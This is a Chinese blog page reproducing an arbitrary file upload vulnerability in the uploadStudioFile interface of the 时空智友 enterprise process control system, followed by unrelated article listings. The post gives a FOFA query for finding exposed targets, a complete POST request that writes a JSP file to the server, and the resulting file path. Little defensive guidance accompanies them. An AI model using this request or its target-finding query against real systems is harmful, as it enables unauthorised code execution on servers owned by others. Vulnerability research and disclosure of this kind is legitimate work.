当前位置： 首页 > news >正文

时空智友企业流程化管控系统uploadStudioFile接口存在任意文件上传漏洞

news 2025/9/15 14:14:33

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

1. 时空智友企业流程化管控系统简介

微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发

时空智友企业流程化管控系统是一个用于企业流程管理和控制的软件系统。

2.漏洞描述

时空智友企业流程化管控系统是一个用于企业流程管理和控制的软件系统。它旨在帮助企业实现流程的规范化、自动化和优化，从而提高工作效率、降低成本并提升管理水平。时空智友企业流程化管控系统存在任意文件上传漏洞，时空智友企业流程化管控系统uploadStudioFile接口存在任意文件上传漏洞。

CVE编号:

CNNVD编号:

CNVD编号:

3.影响版本

时空智友

时空智友企业流程化管控系统uploadStudioFile接口存在任意文件上传漏洞

4.fofa查询语句

body="login.jsp?login=null"

5.漏洞复现

漏洞链接：http://xx.xx.xx.xx/formservice?service=updater.uploadStudioFile

漏洞数据包：

POST /formservice?service=updater.uploadStudioFile HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: xx.xx.xx.xx
Content-Length: 441
Content-Type: application/x-www-form-urlencodedcontent=%3c%3fxml%20version%3d%221.0%22%3f%3e%3croot%3e%3cfilename%3e677433.jsp%3c%2ffilename%3e%3cfilepath%3e.%2f%3c%2ffilepath%3e%3cfilesize%3e172%3c%2ffilesize%3e%3clmtime%3e1970-01-01%2008%3a00%3a00%3c%2flmtime%3e%3c%2froot%3e%3c!--%3c%25%20out.print(%22%3cpre%3e%22)%3bout.println(3233%20*%203323)%3bout.print(%22%3c%2fpre%3e%22)%3bnew%20java.io.File(application.getRealPath(request.getServletPath())).delete()%3b%0d%0a%25%3e%0d%0a--%3e

上传后的路径 http://xx.xx.xx.xx/update/temp/studio/677433.jsp

7.整改意见

请关注厂商更新 https://www.sxskzy.com/

8.往期回顾

相关文章：

时空智友企业流程化管控系统uploadStudioFile接口存在任意文件上传漏洞

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 1. 时空智友…...

编程日记 2024/10/24 2:41:58

Linux 中文件的权限说明

目录 一：文件权限类型二：默认权限管理1. 查看当前用户的umask值2. 修改当前用户的umask值3. 根据umask计算默认权限 三：普通权限管理1. 三种普通权限说明1.1 对于非目录文件来说1.2 对于目录文件来说 2. 查看某个文件的权限信息2.1 使用 ls -…...

编程日记 2024/10/24 2:40:56

MySql数据库中数据类型

本篇将介绍在 MySql 中的所有数据类型，其中主要分为四类：数值类型、文本和二进制类型、时间日期、String 类型。如下（图片来源：MySQL数据库）： 目录如下： 目录 数值类型 1. 整数类型 2. …...

编程日记 2024/10/24 2:37:46

Godot中的信号

目录 概念 signal connect方法连接Callable 信号要求参数 查看信号 连接信号 监听信号 Button - text属性 pressed 连接源 「按钮」的信号连接 使用代码，将方法与信号相连接 节点的connect方法 节点直接使用emit_signal方法通过字符串的方式触发信号…...

编程日记 2024/10/24 2:36:45

vba学习系列(8)--指定列单元格时间按时间段计数

系列文章目录 文章目录 系列文章目录前言一、背景二、VBA总结 前言 一、背景 时间格式：00:00:00 时间段格式：00:00:00 - 01:00:00 计数N列单元格时间位于时间段内的行数 二、VBA 代码如下（示例）： Sub AssignTimeSeg…...

编程日记 2024/10/24 2:33:42

大型企业软件开发是什么样子的？ - Web Dev Cody

引用自大型企业软件开发是什么样子的？ - Web Dev Cody_哔哩哔哩_bilibili 一般来说 学技术的时候 我们会关注 开发语言特性 ，各种高级语法糖，底层技术 但是很少有关注到企业里面的开发流程，本着以终为始（以就业为导向…...

编程日记 2024/10/24 2:32:41

【stm32】DMA的介绍与使用

DMA的介绍与使用 1、DMA简介2、存储器映像3、DMA框图4、DMA基本结构5、DMA请求6、数据宽度与对齐7、数据转运DMA（存储器到存储器的数据转运）程序编写： 8、ADC连续扫描模式DMA循环转运DMA配置：程序编写： 1、DMA简介 DM…...

编程日记 2024/10/24 2:29:36

哈希表的魔力

哈希表与字典 普遍存在一种误解，认为“哈希表”和“字典”这两个术语可以互换。这种观念从根本上是不准确的，至少在计算机科学领域是如此。 字典是将键映射到值的数据结构的一般概念。而哈希表是字典的具体实现。 本质上，字典扮演着一个总体…...

编程日记 2024/10/24 2:24:31

《YOLO 目标检测》—— YOLO v3 详细介绍

！！！！！！！！！！！！！还未写完！！！！！！！&#xf…...

编程日记 2024/10/24 2:23:25

WNN 多模态整合 | Seurat 单细胞多组学整合流程

测试环境：CentOS7.9, R4.3.2, Seurat 4.4.0, SeuratObject 4.1.4 2024.10.23 # WNN library(ggplot2) library(dplyr) library(patchwork)1. 导入数据 (1). load counts of RNA and protein dyn.load(/home/wangjl/.local/lib/libhdf5_hl.so.100) library(hdf5r)…...

编程日记 2024/10/24 2:22:23

【Linux】磁盘文件系统（inode）、软硬链接

文章目录 1. 认识磁盘1.1 磁盘的物理结构1.2 磁盘的逻辑结构 2. 引入文件系统2.1 EXT系列文件系统的分区结构2.2 inode 3. 软硬链接3.1 软链接3.2 硬链接 在讲过了内存文件系统后，我们可以知道文件分为两种： 打开的文件（内存中）未…...

编程日记 2024/10/24 2:20:19

网安加·百家讲坛 | 徐一丁：金融机构网络安全合规浅析

作者简介：徐一丁，北京小西牛等保软件有限公司解决方案部总监，网络安全高级顾问。2000年开始从事网络安全工作，主要领域为网络安全法规标准研究、金融行业安全咨询与解决方案设计、信息科技风险管理评估等。对国家网络安全法规标准…...

编程日记 2024/10/24 2:16:14

九、pico+Unity交互开发——触碰抓取

一、VR交互的类型 Hover（悬停） 定义：发起交互的对象停留在可交互对象的交互区域。例如，当手触摸到物品表面（可交互区域）时，视为触发了Hover。 Grab（抓取） 概念&#xff…...

编程日记 2024/10/24 2:10:07

老机MicroServer Gen8再玩 OCP万兆光口+IT直通

手上有一台放了很久的GEN8微型服务器，放了很多年，具体什么时候买的我居然已经记不清了 只记得开始装修的时候搬家出去就没用了，结果搬出去有了第1个孩子，孩子小的时候也没时间折腾，等孩子大一点的时候，又有…...

编程日记 2024/10/24 2:09:06

jmeter 从多个固定字符串中随机取一个值的方法

1、先新增用户参数，将固定值设置为不同的变量 2、使用下面的函数，调用这写变量 ${__RandomFromMultipleVars(noticeType1|noticeType2|noticeType3|noticeType4|noticeType5)} 3、每次请求就是随机取的值了...

编程日记 2024/10/24 2:08:05

priority_queue (优先级队列的使用和模拟实现)

使用 priority_queue 优先级队列与 stack 和 queue 一样，也是一个容器适配器，其底层通过 vector 来实现的。与 stack 和 queue 不同的是，它的第一个元素总是它所包含的元素中最大或最小的一个。 也就是说，优先级队列就是数据结…...

编程日记 2024/10/24 2:07:04

VisionPro 手部骨骼跟踪 Skeletal Hand Tracking 虚拟首饰

骨骼手部跟踪由XR Hands Package中的Hand Subsystem提供。使用场景中的Hand Visualizer组件，用户可以显示玩家手部的蒙皮网格或每个关节的几何图形，以及用于基于手部物理交互的物理对象。用户可以直接针对Hand Subsystem编写 C# 脚本，以推断骨…...

编程日记 2024/10/24 2:03:59

class 9: vue.js 3 组件化基础（2）父子组件间通信

目录 父子组件之间的相互通信父组件传递数据给子组件Prop为字符串类型的数组Prop为对象类型 子组件传递数据给父组件 父子组件之间的相互通信 开发过程中，我们通常会将一个页面拆分成多个组件，然后将这些组件通过组合或者嵌套的方式构建页面。组件的嵌套…...

编程日记 2024/10/24 2:00:55

Laravel|Lumen项目配置信息config原理

介绍 Laravel 框架的所有配置文件都保存在 config 目录中。每个选项都有说明，你可随时查看这些文件并熟悉都有哪些配置选项可供你使用。 使用 您可以在应用程序的任何位置使用全局 config 辅助函数轻松访问配置值。 可以使用“点”语法访问配置值，其中…...

编程日记 2024/10/24 1:59:54

2024系统分析师考试---论区块链技术及其应用

试题三论区块链技术及其应用 区块链作为一种分布式记账技术，目前已经被应用到了资产管理、物联网、医疗管理、政务监管等多个领域，从网络层面来讲，区块链是一个对等网络(Peer to Peer,P2P)，网络中的节点地位对等，每个节点都保存完整的账本数据，系统的运行不依赖中心化节…...

编程日记 2024/10/24 1:57:49

大语言模型如何处理长文本？常用文本分割技术详解

为什么需要文本分割？ 引言：为什么需要文本分割？一、基础文本分割方法1. 按段落分割（Paragraph Splitting）2. 按句子分割（Sentence Splitting）二、高级文本分割策略3. 重叠分割（Sliding Window）4. 递归分割（Recursive Splitting）三、生产级工具推荐5. 使用LangChain的…...

编程新知 2025/9/6 18:01:23

基于Java Swing的电子通讯录设计与实现：附系统托盘功能代码详解

JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用，结合SQLite数据库实现联系人管理功能，并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能，同时可以最小化到系统…...

编程新知 2025/6/15 22:59:29

【C++进阶篇】智能指针

C内存管理终极指南：智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…...

编程新知 2025/9/9 1:20:43

从“安全密码”到测试体系：Gitee Test 赋能关键领域软件质量保障

关键领域软件测试的"安全密码"：Gitee Test如何破解行业痛点 在数字化浪潮席卷全球的今天，软件系统已成为国家关键领域的"神经中枢"。从国防军工到能源电力，从金融交易到交通管控，这些关乎国计民生的关键领域…...

编程新知 2025/9/6 0:32:57

SQL Server 触发器调用存储过程实现发送 HTTP 请求

文章目录 需求分析解决第 1 步：前置条件，启用 OLE 自动化方式 1：使用 SQL 实现启用 OLE 自动化方式 2：Sql Server 2005启动OLE自动化方式 3：Sql Server 2008启动OLE自动化第 2 步：创建存储过程第 3 步：创建触发器扩展 - 如何调试？第 1 步：登录 SQL Server 2008第 2 步…...

编程新知 2025/9/11 6:56:11

车载诊断架构 --- ZEVonUDS（J1979-3）简介第一篇

我是穿拖鞋的汉子，魔都中坚持长期主义的汽车电子工程师。 老规矩，分享一段喜欢的文字，避免自己成为高知识低文化的工程师： 做到欲望极简，了解自己的真实欲望，不受外在潮流的影响，不盲从，不跟风。把自己的精力全部用在自己。一是去掉多余，凡事找规律，基础是诚信；二是…...

编程新知 2025/9/13 4:04:59

Windows 下端口占用排查与释放全攻略

Windows 下端口占用排查与释放全攻略​ 在开发和运维过程中，经常会遇到端口被占用的问题（如 8080、3306 等常用端口）。本文将详细介绍如何通过命令行和图形化界面快速定位并释放被占用的端口，帮助你高效解决此类问题。​ 一、准…...

编程新知 2025/8/9 21:40:28

Yii2项目自动向GitLab上报Bug

Yii2 项目自动上报Bug 原理 yii2在程序报错时, 会执行指定action, 通过重写ErrorAction, 实现Bug自动提交至GitLab的issue 步骤 配置SiteController中的actions方法 public function actions(){return [error > [class > app\helpers\web\ErrorAction,],];}重写Error…...

编程新知 2025/8/10 22:48:40

【题解-洛谷】P10480 可达性统计

题目：P10480 可达性统计 题目描述 给定一张 N N N 个点 M M M 条边的有向无环图，分别统计从每个点出发能够到达的点的数量。 输入格式 第一行两个整数 N , M N,M N,M，接下来 M M M 行每行两个整数 x , y x,y x,y，表示从 …...

编程新知 2025/8/21 7:10:37

【Java】Ajax 技术详解

文章目录 1. Filter 过滤器1.1 Filter 概述1.2 Filter 快速入门开发步骤：1.3 Filter 执行流程1.4 Filter 拦截路径配置1.5 过滤器链2. Listener 监听器2.1 Listener 概述2.2 ServletContextListener3. Ajax 技术3.1 Ajax 概述3.2 Ajax 快速入门服务端实现：客户端实现：4. Axi…...

编程新知 2025/7/6 14:35:16